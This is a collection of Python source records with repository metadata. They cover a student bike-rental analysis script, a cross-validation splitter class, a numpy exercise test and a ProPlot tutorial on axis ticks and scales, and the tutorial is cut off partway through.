decimal=',')\n\nrentals_weather_2012.shape\nrentals_weather_2012.head()\nrentals_weather_2012.tail()\n\n#QC ok\n\n#a\u00f1adimos filas del segundo fichero\n\nrentals_weather_11_12 = rental_weather_2011.append(rentals_weather_2012, ignore_index=True)\n\n#reordenar las columnas\n\n#rentals_weather_11_12 = rentals_weather_11_12[rental_weather_2011.columns]\n\ndel(rental_weather_2011)\ndel(rentals_weather_2012)\n\n\nwbr=rentals_weather_11_12\ndel(rentals_weather_11_12)\n\n\n#describing a nominal variable\n#Numerically\n#frecuencies\n\nmytable = wbr.groupby(['weathersit']).size()  #separo en grupos y le digo que me diga cuentos\n\nprint(mytable)\n\nmytable.sum()    #tabla, autosumate.\n\n#PErcentages\nn=mytable.sum()\n\nmytable2 = (mytable/n)*100\nprint(mytable2)\n\nmytable3 = round(mytable2,1)    #redondear \nmytable3\n\n\n#Barchart1\n#lets label the cathegories\nbar_list = ['Sunny', 'Cloudy', 'Rainy']\nplt.bar(bar_list, mytable2, edgecolor='black')\nplt.bar(bar_list, mytable2)\nplt.ylabel('Porcentage')\nplt.xlabel('Weather')\nplt.title('Figure1. Porcentaged weather situacions')\nplt.text(1.7, 50,'n: 731')\n\n\n\n\nplt.savefig('bar1.eps')  #Editable en Adove Ilustrator\nplt.savefig('bar1.jpg')  #imagen tipo foto no ediable\nplt.savefig('bar1.svg')  #Formato vectorial\nplt.show()    #finalizar el gr\u00e1fico\n\nreset -f\n\nimport os   #sistema operativo\nimport pandas as pd   #gestionar datframes\nimport numpy as np     # numeric python vectores\nimport matplotlib.pyplot as plt  # grafics\n\nos.chdir(r'C:\\Users\\marta\\git\\Edem2021MDA\\pep')\nwbr = pd.read_csv('WBR_11_12_denormalized_temp.csv', sep=';', decimal=',')\n\nwbr.shape\nwbr.head()\nwbr.tail()\n\nwbr.cnt\nnp.mean (wbr.cnt)\nnp.std (wbr.cnt)\n\nwbr.cnt.describe()\nx = wbr['cnt']\n\nplt.hist(x, bins=10, edgecolor='black')\nplt.xticks(np.arange(0, 10000, step=1000))\n\nplt.title(\"Figure 1. Daily Bicycle rentals in Washinting\")\nplt.ylabel('Frecuency')\nplt.xlabel('Number of rented bicycles')\nplt.show() #finalizar el gr\u00e1fico\n\nres = wbr.cnt.describe()\n\nres[\"mean\"]\nprint(round (res[1],1))\n\n\nm = res[1]\nsd = res[2]\nn = res[0]\n\n\n\nplt.hist(x, bins=10, edgecolor='black')\nplt.xticks(np.arange(0, 10000, step=1000))\nplt.title('Figure 3. Daily Bicycle rentals in Washington DC' '\\n''by Capital bikeshare. 2011 - 2012')\nplt.ylabel('Frecuency')\nplt.xlabel('Number of rented bicycles\u2019)\nprops = dict(boxstyle='round', facecolor='white\u2019,lw=0.5)\ntextstr = '$\\mathrm{Mean}=%.1f$\\n$\\mathrm{S.D.}=%.1f$\\n$\\mathrm{n}=%.0f$'%(m, sd, n)\nplt.text (6500,110, textstr , bbox=props)\nplt.axvline(x=m,\nlinewidth=1,\nlinestyle= ('solid', color=\"red\", label='Mean')\n\n\n\n\n\n\n", "meta": {"hexsha": "0865cfe4c28e4875a227f31d23582b960228c238", "size": 5404, "ext": "py", "lang": "Python", "max_stars_repo_path": "pep/temp.py", "max_stars_repo_name": "Martacsg/Edem2021MDA", "max_stars_repo_head_hexsha": "48bdceb29c157c171857299b8f9c6f7060d4e502", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pep/temp.py", "max_issues_repo_name": "Martacsg/Edem2021MDA", "max_issues_repo_head_hexsha": "48bdceb29c157c171857299b8f9c6f7060d4e502", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pep/temp.py", "max_forks_repo_name": "Martacsg/Edem2021MDA", "max_forks_repo_head_hexsha": "48bdceb29c157c171857299b8f9c6f7060d4e502", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.9409594096, "max_line_length": 101, "alphanum_fraction": 0.7322353812, "include": true, "reason": "import numpy", "num_tokens": 1737, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.12592276811536138, "lm_q1q2_score": 0.06246950825192823}}
{"text": "\"\"\"\nMethods for performing train / test splits.\n\"\"\"\n\n# -----------------------------------------------------------------------------\n# IMPORTS\n# -----------------------------------------------------------------------------\n\nfrom typing import Iterator, Tuple\n\nimport numpy as np\n\n\n# -----------------------------------------------------------------------------\n# CLASS DEFINITIONS\n# -----------------------------------------------------------------------------\n\nclass AlternatingSplit:\n    \"\"\"\n    Alternating split cross-validator.\n\n    Provides train / test indices to split data in train / test sets.\n\n    The split is performed in an \"alternating\" way:\n    Assume that ``n_splits=3``. In this case, the samples / data points\n    are labeled: `A B C A B C A B C ...` In the first split, all points\n    labeled `A` or `B` constitute the training set, and `C` is the test\n    (or hold-out) set. In the second split, all points labeled `A` or\n    `C` are used for training and `B` is the test split. In the final\n    split, `A` is held out and training is performed on `B` and `C`.\n\n    This splitting scheme is useful for HCI / ADI data, because it means\n    that the effective field rotation in all splits is the same (using\n    standard $k$-fold splitting would---for $k=2$---cut the field\n    rotation in the training data in half).\n\n    .. note::\n        The syntax and usage is closely based on similar ``sklearn``\n        classes such as, e.g., :class:`sklearn.model_selection.KFold`.\n    \"\"\"\n\n    def __init__(self, n_splits: int) -> None:\n\n        # Sanity check: we cannot have less than 1 split\n        assert n_splits >= 1, 'n_splits must be a positive integer!'\n        self.n_splits = n_splits\n\n    def split(self, X: np.ndarray) -> Iterator[Tuple[np.ndarray, np.ndarray]]:\n        \"\"\"\n        Generate indices to split data into training and test set.\n\n        Args:\n            X: A 2D numpy array of shape `(n_samples, n_features)` that\n                contains the training data.\n\n        Yields:\n            A 2-tuple consisting of\n\n            * ``train_idx``: A 1D numpy array containing the training\n              set indices for that split.\n            * ``test_idx``: A 1D numpy array containing the testing set\n              indices for that split.\n        \"\"\"\n\n        # Get the number of samples (= number of rows in X)\n        n_samples = X.shape[0]\n\n        # Initialize the array of indices that gets split into train / test\n        indices = np.arange(n_samples)\n\n        # If n_splits = 1, we do not need to split. Instead, we simply return\n        # the indices right away such that train_idx == test_idx. (This is for\n        # compatibility reasons in cases where we do not really want to split\n        # the data into training and test.)\n        if self.n_splits == 1:\n            yield indices, indices\n            return\n\n        # Otherwise, generate indices for alternating splitting scheme\n        for i in range(self.n_splits):\n\n            test_idx = indices[i :: self.n_splits]\n            train_idx = np.setdiff1d(indices, test_idx, assume_unique=True)\n\n            yield train_idx, test_idx\n", "meta": {"hexsha": "ff485c26c9d6cc699e2d25e88dea1ff5396658a4", "size": 3137, "ext": "py", "lang": "Python", "max_stars_repo_path": "hsr4hci/splitting.py", "max_stars_repo_name": "timothygebhard/hsr4hci", "max_stars_repo_head_hexsha": "0b38c26fac2fee9e564a9ab981fca715d5577e1e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-24T04:33:06.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-24T04:33:06.000Z", "max_issues_repo_path": "hsr4hci/splitting.py", "max_issues_repo_name": "timothygebhard/hsr4hci", "max_issues_repo_head_hexsha": "0b38c26fac2fee9e564a9ab981fca715d5577e1e", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hsr4hci/splitting.py", "max_forks_repo_name": "timothygebhard/hsr4hci", "max_forks_repo_head_hexsha": "0b38c26fac2fee9e564a9ab981fca715d5577e1e", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.476744186, "max_line_length": 79, "alphanum_fraction": 0.5696525343, "include": true, "reason": "import numpy", "num_tokens": 678, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.1259227631950178, "lm_q1q2_score": 0.062469505810976135}}
{"text": "#!/usr/bin/env python3\n\nimport unittest\nfrom unittest.mock import patch\n\nimport numpy as np\n\nfrom tmc import points\n\nfrom tmc.utils import load, get_stdout\n\nmodule_name=\"src.diamond\"\ndiamond = load(module_name, \"diamond\")\n\ndef patch_name(m, d):\n    import importlib\n    parts=d.split(\".\")\n    try:\n        getattr(importlib.import_module(m), parts[-1])\n        p=\".\".join([m, parts[-1]])\n    except ModuleNotFoundError:\n        raise\n    except AttributeError:\n        if len(parts) == 1:\n            raise\n        try:\n            getattr(importlib.import_module(m), parts[-2])\n            p=\".\".join([m] + parts[-2:])\n        except AttributeError:\n            if len(parts) == 2:\n                raise\n            getattr(importlib.import_module(m), parts[-3])\n            p=\".\".join([m] + parts[-3:])\n    return p\n\n@points('p02-13.1')\nclass Diamond(unittest.TestCase):\n\n    def test_type(self):\n        d=diamond(3)\n        self.assertEqual(d.dtype, int, msg=\"Incorrect element type!\")\n\n    def test_shape(self):\n        for n in range(1,10):\n            d=diamond(n)\n            correct_shape=(2*n-1,)*2\n            self.assertEqual(d.shape, correct_shape,\n                             msg=\"Incorrect shape for call 'diamond(%i)'!\" % n)\n\n    def test_content(self):\n        for n in range(1,10):\n            d=diamond(n)\n            if n==1:\n                size=1\n            else:\n                size=4*n-4\n            self.assertEqual(np.sum(d), size,\n                             msg=\"Incorrect number of 1s for call 'diamond(%i)'!\" % n)\n\n    def test_calls(self):\n        with patch(patch_name(module_name, 'np.eye'), wraps=np.eye) as peye:\n            with patch(patch_name(module_name, 'np.concatenate'), wraps=np.concatenate) as pconcatenate:\n                d=diamond(3)\n                peye.assert_called()\n                pconcatenate.assert_called()\n\nif __name__ == '__main__':\n    unittest.main()\n\n", "meta": {"hexsha": "5456929be3e6c019149a98497d4650a670b726d2", "size": 1917, "ext": "py", "lang": "Python", "max_stars_repo_path": "part02-e13_diamond/test/test_diamond.py", "max_stars_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_stars_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "part02-e13_diamond/test/test_diamond.py", "max_issues_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_issues_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "part02-e13_diamond/test/test_diamond.py", "max_forks_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_forks_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-02-14T20:07:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-11T07:30:23.000Z", "avg_line_length": 27.3857142857, "max_line_length": 104, "alphanum_fraction": 0.5519040167, "include": true, "reason": "import numpy", "num_tokens": 448, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749485, "lm_q2_score": 0.13660840057146195, "lm_q1q2_score": 0.062448715728293386}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.3.0\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_cartesian:\n#\n# Cartesian axis settings\n# =======================\n#\n# This section documents features used for modifying Cartesian *x* and *y*\n# axis settings, including axis scales, tick locations, and tick label\n# formatting. It also documents a handy \"dual axes\" feature.\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_locators:\n#\n# Tick locations\n# --------------\n#\n# `Tick locators\\\n# <https://matplotlib.org/3.2.1/gallery/ticks_and_spines/tick-locators.html>`__\n# are used to automatically select sensible tick locations\n# based on the axis data limits. In ProPlot, you can change the tick locator\n# using the `~proplot.axes.Axes.format` keyword arguments `xlocator`,\n# `ylocator`, `xminorlocator`, and `yminorlocator` (or their aliases,\n# `xticks`, `yticks`, `xminorticks`, and `yminorticks`). This is powered by\n# the `~proplot.constructor.Locator` constructor function.\n#\n# These keyword arguments can be used to apply built-in matplotlib\n# `~matplotlib.ticker.Locator`\\ s by their \"registered\" names (e.g.\n# ``xlocator='log'``), to draw ticks every ``N`` data values with\n# `~matplotlib.ticker.MultipleLocator` (e.g. ``xlocator=2``), or to tick the\n# specific locations in a list using `~matplotlib.ticker.FixedLocator` (just\n# like `~matplotlib.axes.Axes.set_xticks` and\n# `~matplotlib.axes.Axes.set_yticks`). See\n# `~proplot.axes.CartesianAxes.format` and `~proplot.constructor.Locator` for\n# details.\n#\n# To generate lists of tick locations, we recommend using ProPlot's\n# `~proplot.utils.arange` function -- it\u2019s basically an *endpoint-inclusive*\n# version of `numpy.arange`, which is usually what you'll want in this\n# context.\n\n# %%\nimport proplot as plot\nimport numpy as np\nstate = np.random.RandomState(51423)\nplot.rc.update(\n    facecolor=plot.scale_luminance('powderblue', 1.15),\n    linewidth=1, fontsize=10,\n    color='dark blue', suptitlecolor='dark blue',\n    titleloc='upper center', titlecolor='dark blue', titleborder=False,\n)\nfig, axs = plot.subplots(nrows=8, axwidth=5, aspect=(8, 1), share=0)\naxs.format(suptitle='Tick locators demo')\n\n# Step size for tick locations\naxs[0].format(\n    xlim=(0, 200), xminorlocator=10, xlocator=30,\n    title='MultipleLocator'\n)\n\n# Specific list of locations\naxs[1].format(\n    xlim=(0, 10), xminorlocator=0.1,\n    xlocator=[0, 0.3, 0.8, 1.6, 4.4, 8, 8.8, 10],\n    title='FixedLocator',\n)\n\n# Ticks at numpy.linspace(xmin, xmax, N)\naxs[2].format(\n    xlim=(0, 10), xlocator=('linear', 21),\n    title='LinearLocator',\n)\n\n# Logarithmic locator, used automatically for log scale plots\naxs[3].format(\n    xlim=(1, 100), xlocator='log', xminorlocator='logminor',\n    title='LogLocator',\n)\n\n# Maximum number of ticks, but at \"nice\" locations\naxs[4].format(\n    xlim=(1, 7), xlocator=('maxn', 11),\n    title='MaxNLocator',\n)\n\n# Index locator, only draws ticks where data is plotted\naxs[5].plot(np.arange(10) - 5, state.rand(10), alpha=0)\naxs[5].format(\n    xlim=(0, 6), ylim=(0, 1), xlocator='index',\n    xformatter=[r'$\\alpha$', r'$\\beta$', r'$\\gamma$', r'$\\delta$', r'$\\epsilon$'],\n    title='IndexLocator',\n)\nplot.rc.reset()\n\n# Hide all ticks\naxs[6].format(\n    xlim=(-10, 10), xlocator='null',\n    title='NullLocator',\n)\n\n# Tick locations that cleanly divide 60 minute/60 second intervals\naxs[7].format(\n    xlim=(0, 2), xlocator='dms', xformatter='dms',\n    title='Degree-Minute-Second Locator (requires cartopy)',\n)\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_formatters:\n#\n# Tick labels\n# -----------\n#\n# `Tick formatters\\\n# <https://matplotlib.org/3.2.1/gallery/ticks_and_spines/tick-formatters.html>`__\n# are used to convert floating point numbers to\n# nicely-formatted tick labels. In ProPlot, you can change the tick formatter\n# using the `~proplot.axes.Axes.format` keyword arguments `xformatter` and\n# `yformatter`  (or their aliases, `xticklabels` and `yticklabels`). This is\n# powered by the `~proplot.constructor.Formatter` constructor function.\n#\n# These keyword arguments can be used to apply built-in matplotlib\n# `~matplotlib.ticker.Formatter`\\ s by their \"registered\" names (e.g.\n# ``xformatter='log'``), to apply a ``%``-style format directive with\n# `~matplotlib.ticker.FormatStrFormatter` (e.g. ``xformatter='%.0f'``), or\n# to apply custom tick labels with `~matplotlib.ticker.FixedFormatter` (just\n# like `~matplotlib.axes.Axes.set_xticklabels` and\n# `~matplotlib.axes.Axes.set_yticklabels`). They can also be used\n# to apply one of ProPlot's new tick formatters -- for example,\n# ``xformatter='deglat'`` to label ticks as the geographic latitude,\n# ``xformatter='pi'`` to label ticks as fractions of :math:`\\pi`,\n# or ``xformatter='sci'`` to label ticks with scientific notation.\n# See `~proplot.axes.CartesianAxes.format` and\n# `~proplot.constructor.Formatter` for details.\n#\n# ProPlot also changes the default tick formatter to\n# `~proplot.ticker.AutoFormatter`. This class trims trailing zeros by\n# default, can be used to *omit tick labels* outside of some data range, and\n# can add arbitrary prefixes and suffixes to each label. See\n# `~proplot.ticker.AutoFormatter` for details. To disable the trailing\n# zero-trimming feature, set :rcraw:`formatter.zerotrim` to ``False``.\n\n# %%\nimport proplot as plot\nimport numpy as np\nplot.rc.update(\n    linewidth=1.2, fontsize=10, facecolor='gray0', figurefacecolor='gray2',\n    color='gray8', gridcolor='gray8', titlecolor='gray8', suptitlecolor='gray8',\n    titleloc='upper center', titleborder=False,\n)\nfig, axs = plot.subplots(nrows=9, axwidth=5, aspect=(8, 1), share=0)\n\n# Scientific notation\naxs[0].format(xlim=(0, 1e20), xformatter='sci', title='SciFormatter')\n\n# N significant figures for ticks at specific values\naxs[1].format(\n    xlim=(0, 20), xlocator=(0.0034, 3.233, 9.2, 15.2344, 7.2343, 19.58),\n    xformatter=('sigfig', 2), title='SigFigFormatter',  # 2 significant digits\n)\n\n# Fraction formatters\naxs[2].format(\n    xlim=(0, 3 * np.pi), xlocator=np.pi / 4, xformatter='pi', title='FracFormatter',\n)\naxs[3].format(\n    xlim=(0, 2 * np.e), xlocator=np.e / 2, xticklabels='e', title='FracFormatter',\n)\n\n# Geographic formatters\naxs[4].format(\n    xlim=(-90, 90), xlocator=30, xformatter='deglat', title='Latitude Formatter'\n)\naxs[5].format(\n    xlim=(0, 360), xlocator=60, xformatter='deglon', title='Longitude Formatter'\n)\n\n# User input labels\naxs[6].format(\n    xlim=(-1.01, 1), xlocator=0.5,\n    xticklabels=['a', 'b', 'c', 'd', 'e'], title='FixedFormatter',\n)\n\n# Custom style labels\naxs[7].format(\n    xlim=(0, 0.001), xlocator=0.0001, xformatter='%.E', title='FormatStrFormatter',\n)\naxs[8].format(\n    xlim=(0, 100), xtickminor=False, xlocator=20,\n    xformatter='{x:.1f}', title='StrMethodFormatter',\n)\naxs.format(ylocator='null', suptitle='Tick formatters demo')\nplot.rc.reset()\n\n# %%\nimport proplot as plot\nplot.rc.linewidth = 2\nplot.rc.fontsize = 11\nlocator = [0, 0.25, 0.5, 0.75, 1]\nfig, axs = plot.subplots(ncols=2, nrows=2, axwidth=1.5, share=0)\n\n# Formatter comparison\naxs[0].format(\n    xformatter='scalar', yformatter='scalar', title='Matplotlib formatter'\n)\naxs[1].format(yticklabelloc='both', title='ProPlot formatter')\naxs[:2].format(xlocator=locator, ylocator=locator)\n\n# Limiting the tick range\naxs[2].format(\n    title='Omitting tick labels', ticklen=5, xlim=(0, 5), ylim=(0, 5),\n    xtickrange=(0, 2), ytickrange=(0, 2), xlocator=1, ylocator=1\n)\n\n# Setting the wrap range\naxs[3].format(\n    title='Wrapping the tick range', ticklen=5, xlim=(0, 7), ylim=(0, 6),\n    xwraprange=(0, 5), ywraprange=(0, 3), xlocator=1, ylocator=1\n)\naxs.format(\n    ytickloc='both', yticklabelloc='both',\n    titlepad='0.5em', suptitle='Default formatters demo'\n)\nplot.rc.reset()\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_datetime:\n#\n# Datetime ticks\n# --------------\n#\n# ProPlot can also be used to customize the tick locations and tick label\n# format of \"datetime\" axes. To draw ticks on some particular time unit, just\n# use a unit string (e.g. ``xlocator='month'``). To draw ticks every ``N``\n# time units, just use a (unit, N) tuple (e.g. ``xlocator=('day', 5)``). For\n# `% style formatting\n# <https://docs.python.org/3/library/datetime.html#strftime-strptime-behavior>`__\n# of datetime tick labels, just use a string containing ``'%'`` (e.g.\n# ``xformatter='%Y-%m-%d'``). See `~proplot.axes.CartesianAxes.format`,\n# `~proplot.constructor.Locator`, and `~proplot.constructor.Formatter` for\n# details.\n\n# %%\nimport proplot as plot\nimport numpy as np\nplot.rc.update(\n    linewidth=1.2, fontsize=10, ticklenratio=0.7,\n    figurefacecolor='w', facecolor='pastel blue',\n    titleloc='upper center', titleborder=False,\n)\nfig, axs = plot.subplots(nrows=5, axwidth=6, aspect=(8, 1), share=0)\naxs[:4].format(xrotation=0)  # no rotation for these examples\n\n# Default date locator\n# This is enabled if you plot datetime data or set datetime limits\naxs[0].format(\n    xlim=(np.datetime64('2000-01-01'), np.datetime64('2001-01-02')),\n    title='Auto date locator and formatter'\n)\n\n# Concise date formatter introduced in matplotlib 3.1\naxs[1].format(\n    xlim=(np.datetime64('2000-01-01'), np.datetime64('2001-01-01')),\n    xformatter='concise', title='Concise date formatter',\n)\n\n# Minor ticks every year, major every 10 years\naxs[2].format(\n    xlim=(np.datetime64('2000-01-01'), np.datetime64('2050-01-01')),\n    xlocator=('year', 10), xformatter='\\'%y', title='Ticks every N units',\n)\n\n# Minor ticks every 10 minutes, major every 2 minutes\naxs[3].format(\n    xlim=(np.datetime64('2000-01-01T00:00:00'), np.datetime64('2000-01-01T12:00:00')),\n    xlocator=('hour', range(0, 24, 2)), xminorlocator=('minute', range(0, 60, 10)),\n    xformatter='T%H:%M:%S', title='Ticks at specific intervals',\n)\n\n# Month and year labels, with default tick label rotation\naxs[4].format(\n    xlim=(np.datetime64('2000-01-01'), np.datetime64('2008-01-01')),\n    xlocator='year', xminorlocator='month',  # minor ticks every month\n    xformatter='%b %Y', title='Ticks with default rotation',\n)\naxs.format(\n    ylocator='null', suptitle='Datetime locators and formatters demo'\n)\nplot.rc.reset()\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_scales:\n#\n# Changing the axis scale\n# -----------------------\n#\n# \"Axis scales\" like ``'linear'`` and ``'log'`` control the *x* and *y* axis\n# coordinate system. To change the axis scale, simply pass e.g.\n# ``xscale='log'`` or ``yscale='log'`` to `~proplot.axes.Axes.format`. This\n# is powered by the `~proplot.constructor.Scale` constructor function.\n#\n# ProPlot also makes several changes to the axis scale API:\n#\n# * By default, the `~proplot.ticker.AutoFormatter` formatter is used for all\n#   axis scales instead of e.g. `~matplotlib.ticker.LogFormatter` for\n#   `~matplotlib.scale.LogScale` scales. This can be changed e.g. by passing\n#   ``xformatter='log'`` or ``yformatter='log'`` to\n#   `~proplot.axes.CartesianAxes.format`.\n# * To make its behavior consistent with `~proplot.constructor.Locator` and\n#   `~proplot.constructor.Formatter`, the `~proplot.constructor.Scale`\n#   constructor function returns instances of `~matplotlib.scale.ScaleBase`,\n#   and `~matplotlib.axes.Axes.set_xscale` and\n#   `~matplotlib.axes.Axes.set_yscale` now accept these class instances in\n#   addition to string names like ``'log'``.\n# * While matplotlib axis scales must be instantiated with an\n#   `~matplotlib.axis.Axis` instance (for backward compatibility reasons),\n#   ProPlot axis scales can be instantiated without the axis instance (e.g.\n#   ``plot.LogScale()`` instead of ``plot.LogScale(ax.xaxis)``).\n# * The default `subs` for the ``'symlog'`` axis scale is now ``np.arange(1, 10)``,\n#   and the default `linthresh` is now ``1``. Also the ``'log'`` and ``'symlog'``\n#   axis scales now accept the keywords `base`, `linthresh`, `linscale`, and\n#   `subs` rather than keywords with trailing ``x`` or ``y``.\n\n# %%\nimport proplot as plot\nimport numpy as np\nN = 200\nlw = 3\nplot.rc.update({\n    'linewidth': 1, 'ticklabelweight': 'bold', 'axeslabelweight': 'bold'\n})\nfig, axs = plot.subplots(ncols=2, nrows=2, axwidth=1.8, share=0)\naxs.format(suptitle='Axis scales demo', ytickminor=True)\n\n# Linear and log scales\naxs[0].format(yscale='linear', ylabel='linear scale')\naxs[1].format(ylim=(1e-3, 1e3), yscale='log', ylabel='log scale')\naxs[:2].plot(np.linspace(0, 1, N), np.linspace(0, 1000, N), lw=lw)\n\n# Symlog scale\nax = axs[2]\nax.format(yscale='symlog', ylabel='symlog scale')\nax.plot(np.linspace(0, 1, N), np.linspace(-1000, 1000, N), lw=lw)\n\n# Logit scale\nax = axs[3]\nax.format(yscale='logit', ylabel='logit scale')\nax.plot(np.linspace(0, 1, N), np.linspace(0.01, 0.99, N), lw=lw)\nplot.rc.reset()\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_scales_new:\n#\n# Special axis scales\n# -------------------\n#\n# ProPlot introduces several new axis scales. The ``'cutoff'`` scale (see\n# `~proplot.scale.CutoffScale`) is useful when the statistical distribution\n# of your data is very unusual. The ``'sine'`` scale (see\n# `~proplot.scale.SineLatitudeScale`) scales the axis with a sine function,\n# resulting in an *area weighted* spherical latitude coordinate, and the\n# ``'mercator'`` scale (see `~proplot.scale.MercatorLatitudeScale`) scales\n# the axis with the Mercator projection latitude coordinate. The\n# ``'inverse'`` scale (see `~proplot.scale.InverseScale`) can be useful when\n# working with spectral data, especially with\n# :ref:`\"dual\" unit axes <ug_dual>`.\n\n# %%\nimport proplot as plot\nimport numpy as np\nfig, axs = plot.subplots(width=6, nrows=4, aspect=(5, 1), sharex=False)\nax = axs[0]\n\n# Sample data\nx = np.linspace(0, 4 * np.pi, 100)\ndy = np.linspace(-1, 1, 5)\ny1 = np.sin(x)\ny2 = np.cos(x)\nstate = np.random.RandomState(51423)\ndata = state.rand(len(dy) - 1, len(x) - 1)\n\n# Loop through various cutoff scale options\ntitles = ('Zoom out of left', 'Zoom into left', 'Discrete jump', 'Fast jump')\nargs = (\n    (np.pi, 3),  # speed up\n    (3 * np.pi, 1 / 3),  # slow down\n    (np.pi, np.inf, 3 * np.pi),  # discrete jump\n    (np.pi, 5, 3 * np.pi)  # fast jump\n)\nlocators = (\n    np.pi / 3,\n    np.pi / 3,\n    np.pi * np.append(np.linspace(0, 1, 4), np.linspace(3, 4, 4)),\n    np.pi * np.append(np.linspace(0, 1, 4), np.linspace(3, 4, 4)),\n)\nfor ax, iargs, title, locator in zip(axs, args, titles, locators):\n    ax.pcolormesh(x, dy, data, cmap='grays', cmap_kw={'right': 0.8})\n    for y, color in zip((y1, y2), ('coral', 'sky blue')):\n        ax.plot(x, y, lw=4, color=color)\n    ax.format(\n        xscale=('cutoff', *iargs), title=title,\n        xlim=(0, 4 * np.pi), ylabel='wave amplitude',\n        xformatter='pi', xlocator=locator,\n        xtickminor=False, xgrid=True, ygrid=False, suptitle='Cutoff axis scales demo'\n    )\n\n# %%\nimport proplot as plot\nimport numpy as np\nplot.rc.reset()\nfig, axs = plot.subplots(nrows=2, ncols=3, axwidth=1.7, share=0, order='F')\naxs.format(\n    collabels=('Power scales', 'Exponential scales', 'Cartographic scales'),\n    suptitle='Additional axis scales demo'\n)\nx = np.linspace(0, 1, 50)\ny = 10 * x\nstate = np.random.RandomState(51423)\ndata = state.rand(len(y) - 1, len(x) - 1)\n\n# Power scales\ncolors = ('coral', 'sky blue')\nfor ax, power, color in zip(axs[:2], (2, 1 / 4), colors):\n    ax.pcolormesh(x, y, data, cmap='grays', cmap_kw={'right': 0.8})\n    ax.plot(x, y, lw=4, color=color)\n    ax.format(\n        ylim=(0.1, 10), yscale=('power', power),\n        title=f'$x^{{{power}}}$'\n    )\n\n# Exp scales\nfor ax, a, c, color in zip(axs[2:4], (np.e, 2), (0.5, 2), colors):\n    ax.pcolormesh(x, y, data, cmap='grays', cmap_kw={'right': 0.8})\n    ax.plot(x, y, lw=4, color=color)\n    ax.format(\n        ylim=(0.1, 10), yscale=('exp', a, c),\n        title=f\"${(a, 'e')[a == np.e]}^{{{(c, '')[c == 1]}x}}$\"\n    )\n\n# Geographic scales\nn = 20\nx = np.linspace(-180, 180, n)\ny1 = np.linspace(-85, 85, n)\ny2 = np.linspace(-85, 85, n)\ndata = state.rand(len(x) - 1, len(y2) - 1)\nfor ax, scale, color in zip(axs[4:], ('sine', 'mercator'), ('coral', 'sky blue')):\n    ax.plot(x, y1, '-', color=color, lw=4)\n    ax.pcolormesh(x, y2, data, cmap='grays', cmap_kw={'right': 0.8})\n    ax.format(\n        title=scale.title() + ' y-axis', yscale=scale, ytickloc='left',\n        yformatter='deg', grid=False, ylocator=20,\n        xscale='linear', xlim=None, ylim=(-85, 85)\n    )\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_dual:\n#\n# Dual unit axes\n# --------------\n#\n# The `~proplot.axes.CartesianAxes.dualx` and\n# `~proplot.axes.CartesianAxes.dualy` methods can be used to draw duplicate\n# *x* and *y* axes meant to represent *alternate units* in the same\n# coordinate range as the \"parent\" axis. This feature is powered by the\n# `~proplot.scale.FuncScale` class.\n#\n# `~proplot.axes.CartesianAxes.dualx` and `~proplot.axes.CartesianAxes.dualy`\n# accept either (1) a single linear forward function, (2) a pair of arbitrary\n# forward and inverse functions, or (3) a scale name or scale class instance.\n# In the latter case, the scale's transforms are used for the forward and\n# inverse functions, and the scale's default locators and formatters are used\n# for the default `~proplot.scale.FuncScale` locators and formatters.\n#\n# In the below examples, we generate dual axes with each of these three methods. Note\n# that the \"parent\" axis scale is now arbitrary -- in the first example shown below,\n# we create a `~proplot.axes.CartesianAxes.dualx` axis for an axis scaled by the\n# `symlog scale 